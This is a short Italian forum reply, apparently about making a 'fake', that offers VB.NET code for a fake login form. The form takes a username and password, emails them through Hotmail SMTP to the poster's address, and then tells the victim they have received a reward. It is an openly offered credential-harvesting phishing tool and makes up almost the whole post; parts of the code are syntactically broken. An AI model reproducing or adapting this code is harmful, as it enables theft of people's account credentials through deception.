Riferimento: Problema Creazione Fake
Ecco prova questo codice!
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sneder As System.Object, ByVal e As System.EventArgs) Handles Button1.Click, TextBox2.Click
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
Else
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("*******", "*****")
'using mail
smtpServer.Port = 587
smtpServer.Host = "smtp.hotmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("******@
Hotmail .it")
mail.To.Add(********@
Hotmail .it")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("OK YOU HAVE YOUT G1 NOW")
End If
End If
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click, TextBox2.Click
Me.Close()
End Sub
End Class